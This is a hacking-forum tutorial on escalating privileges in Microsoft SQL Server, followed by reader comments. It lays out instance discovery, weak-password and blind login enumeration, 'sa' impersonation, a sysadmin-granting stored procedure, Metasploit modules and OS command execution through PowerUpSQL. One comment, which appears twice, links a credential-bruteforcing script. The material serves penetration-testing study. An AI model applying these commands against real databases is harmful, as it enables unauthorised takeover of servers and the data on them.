[[BLANK]]

---

MS SQL PRIVILEGE ESCALATION

SQL Server Account Types
[-] Windows Accounts - used to sign into SQL Server.
[-] SQL Server Logins (inside SQL Server) - used to sign into SQL Server.
[-] Database Users (inside SQL Server) - maps to a sql authentication.

Roles
[-] sysadmin role
[-] public role

Extensive List

Locating Servers from Multiple Privilege Levels
The Unauthenticated Perspective: using standard scanning methods (TCP, UDP, UDP broadcast)
Tools:
[+] Nmap
[+] Nessus
[+] SQLping3
[+] OSQL/SQLCMD
[+] MSF's mssql_ping module
[+] PowerUpSQL
Commands:
[+] SQLCMD = ">> sqlcmd -L"
[+] PowerUpSQL = ">> import-module .\PowerUpSQL.pds1"
>> Get-SQLInstanceScanUDP

1b. In an Azure environment, a penetration tester can perform enumeration activities through a DNS dictionary attack usually against URL's with the format x.databases.windows.net. Also, a thing to look for is configuration files, containing connection strings, on public repositories.

2. The Local User Perspective: identify local SQL Server instances by checking the system's services and registry settings. Additionally, PowerUpSQL can be used:
>> Get-SQLInstanceLocal

3. The Domain User Perspective: When SQL Server is installed inside a domain, the instance is automatically registered in Active Directory, with an associated service account. This is done to support Kerberos authentication. Therefore we can locate SQL server via SPN scanning.
Tools:
[-] setspn.exe
[-] adfind.exe
[-] Get-Spn.psm1
[-] PowerUpSQL
>> Get-SQLInstanceDomain

Escalating Privileges Within SQL Server

Unauthenticated User

PowerUpSQL
>> import-module .\PowerUpSQL.psd1
>> Get-SQLInstanceScanUDP | Invoke-SQLAuditWeakLoginPw
or
>> Get-SQLInstanceDomain | Inovke-SQLAuditWeakLoginPw

Manually test credentials:

>> import-module .\PowerUpSQL.psd1
>> GET-SQLInstanceScanUDP | Get-SQLConnectionTestThreaded -Username [username] -Password [password]

Domain User
Attempt to login with current account:

>> import-module .\PowerUpSQL.psd1
>> Get-SQLInstanceDomain | Get-SQLConnectionTest
or
>> Get-SQLInstanceLocal | Get-SQLConnectionTest

See reference for more information: PowerUpSQL WIKI

Clear Text
If SQL queries are unencrypted then we can perform man-in-the-middle attacks to inject our own queries. Based on the victims privileges we may be able to inject our own SQL login.
Refer: https://gist.github.com/anonymous/edb02d...3cbb78660b by Anitian for injecting SQL queries on the fly.

From Public Role to Sysadmin

[+] Weak Passwords & Blind SQL Server Login Enumeration
[+] Impersonation Privilege
[+] Stored Procedure and Trigger Creation / Injection Issues
[+] Automatic Execution of Stored Procedures

[+] Weak Passwords & Blind SQL Server Login Enumeration
[-] Listing all SQL Server logins, through out initial foothold, can be executed by executing the following queries:

Code

SELECT name FROM sys.syslogins
SELECT name FROM sys.server_principals

[-] Utilize suser_name function, which returns the principal name for a given principal id. Identify all SQL logins by fuzzing the principal id value, inside the suser_name function.

Code

SELECT SUSER_NAME(1)
SELECT SUSER_NAME(2)
SELECT SUSER_NAME(3)
  etc...

[-] Attempt to identify weak passwords for the identified SQL Server logins.

[+] If the above aproach fails we can also perform a blind domain account/objects enumeration.
[-] Get the domain where the SQL Server is located

Code

SELECT DEFAULT_DOMAIN() as mydomain

[-] SELECT SUSER_SID('identified_domain\Domain Admins')
[-] Grab the first 48 bytes of the full RID, to get the SID for the domain. Then create a new RID by appending a hex number value to the abovementioned SID.
[-] Finally use the suser_name function to get the domain object name associated with the supplied RID.

Code

SELECT SUSER_NAME(RID)

[] Blind SQL login enumeration can be performed through PowerUpSQL's Get-SQLFuzzServerLogin function whereas blind domain account enumeration can be performed through the Get-SQLFuzzDomainAccount function.

>> import-module .\PowerUpSQL.psd1
>> Get-SQLFuzzServerLogin -Instance ComputerName\InstanceName
Blind domain account enumeration against the accessible instance we identified above:
>> import-module .\PowerUpSQL.psd1
>> Get-SQLFuzzDomainAccount -Instance ComputerName\InstanceName

[+] Impersonate
There are a lot of ways of getting code or a command to run in the context of a user that has more privileges than we have on SQL Server. The most commonly used ones are the following:

[-] Impersonate Privilege
[-] Stored Procedure and Trigger Creation / Injection Issues
[-] Automatic Execution of Stored Procedures
[-] Agent Jobs
[-] Create Database Link to File or Server
[-] Import /Install Custom Assemblies
[-] Ad-Hoc Queries
[-] Shared Service Accounts
[-] Database Links
[-] UNC Path Injection
[-] Python code execution

Escalate From Public Role Level Privileges to Sysadmin Level Privileges

Note: To automate the following steps, use Invoke-SQLAudit function of PowerUpSQL then use Invoke-SQLEscalatePriv to automatically attempt to escalate your privileges.

Impersonate Privilege
There is a privilege/permission in SQL Server which allows a less privileged user to impersonate a user with more access. The queries/commands to be executed are not limited in any way. The database has to be configured as trustworthy for this to work. To manually check if you can impersonate the sa login:

Code

SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER ('sysadmin')

Note: EXECUTE AS LOGIN is used at the server level. For the database level, EXECUTE AS USER can be used.
Stored Procedure and Trigger Creation / Injection Issues
Developers usually gather all the functionality they want the user, to be able to execute in a kind of an elevated context, and put it inside a stored procedure. To execute it and give it access to additional things, developers usually have it executed as the owner of the database (EXECUTE AS OWNER). This way, execution can still take place in another user's context, commands can be limited and granting the impersonate privilege is not required. Some security issues:

1. No granular control over the database owner's privileges.
2. When applications are deployed, the sa account for a sysadmin account usually owns the database. The DB_OWNER role can then use the EXECUTE AS OWNER to actually execute in the context of either the sa or sysadmin accounts. An example of such a stored procedure is the following.

Code

USE MyDB
GO
CREATE PROCEDURE elevate
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember
'simple_user','sysadmin'
GO

[-] Both the reconnaissance and the exploitation phase can be automated with Metasploit:
[-] auxiliary/admin/mssql/mssql_escalate_dbowner
[-] auxilairy/admin/mssql/mssql_escalate_dbowner_sqli
[-] For more info: SQL Server Stored Procedures

Automatic Execution of Stored Procedures
All stored procedures configured to run as soon as the SQL Server service restarts are executed as sa. Consequently, access to such stored procedures by a user other than sysadmin can result in unauthorised execution with sa level privileges.

[+] Escalate From Sysadmin to Service Account[/b][/color][/size]
Now, we would like to move from the database layer into the operating system layer. We want to run as the service account. We will directly utilize command execution ways through the SQL Server. We can also indirectly utilize the following to achieve the same:
[+] Shared Service Accounts
[+] Crawling Database Links
More info: Rapid7 Link Crawler
sql-server-link-crawling-powerupsql
[+] UNC Path Injection

[-] There are several ways to inject commands via SQL. The following tables outlines the most common and related privileges.
https://www.slideshare.net/nullbind/2017...powershell

[-] PowerUpSQL provides a variety of OS command execution ways such as:
>> $Targets | Invoke-SQLOSCLR -Verbose -Command "Whoami"
>> $Targets | Invoke-SQLOSOle -Verbose -Command "Whoami"
>> $Targets | Invoke-SQLOSR -Verbose -Command "Whoami"

[-] Check if RottenPotato exploit applies: https://github.com/foxglovesec/RottenPotato

Conclusion

While trying to escalate our privileges, we should always check for unencrypted SQL Server communications. If this is the case, via man-in-the-middle attack techniques, we can inject our own queries. Based on the victim's privileges we may be able to apply the sysadmin role to our SQL login. The attacks described here were explicitly for MSSQL, but many of the ideas and scripts used can also be used against MySQL and other databases. Further research into syntax would be required. I hope this makes everyone excited about testing SQL databases beyond just using SQLMap. And as always remember, Stay Calm and Hack the System!

[Hooded Robin]

Good references for sure! I'd also recommend adding references or more detail to crawling Linked Servers & Openrowset which can also both be used to pivot and escalate privileges. Also maybe some references to reading/writing files through SQL Server queries.

Here is script I wrote to aid in situations where you have some creds, just a hacker friendly client...
mssql-fu.ps1: https://pastebin.com/0SiTYamZ

And another script to bruteforce ms-sql creds, mssqlAuth.ps1: https://pastebin.com/Vd5ymaz4

[[BLANK]]

Good references for sure! I'd also recommend adding references or more detail to crawling Linked Servers & Openrowset which can also both be used to pivot and escalate privileges. Also maybe some references to reading/writing files through SQL Server queries.

Here is script I wrote to aid in situations where you have some creds, just a hacker friendly client...
mssql-fu.ps1: https://pastebin.com/0SiTYamZ

And another script to bruteforce ms-sql creds, mssqlAuth.ps1: https://pastebin.com/Vd5ymaz4

Thank you for the feedback and sharing those scripts.

[Haseo™]

This is very detailed and very informative thank you.
I need to learn more about this so you're a life saver.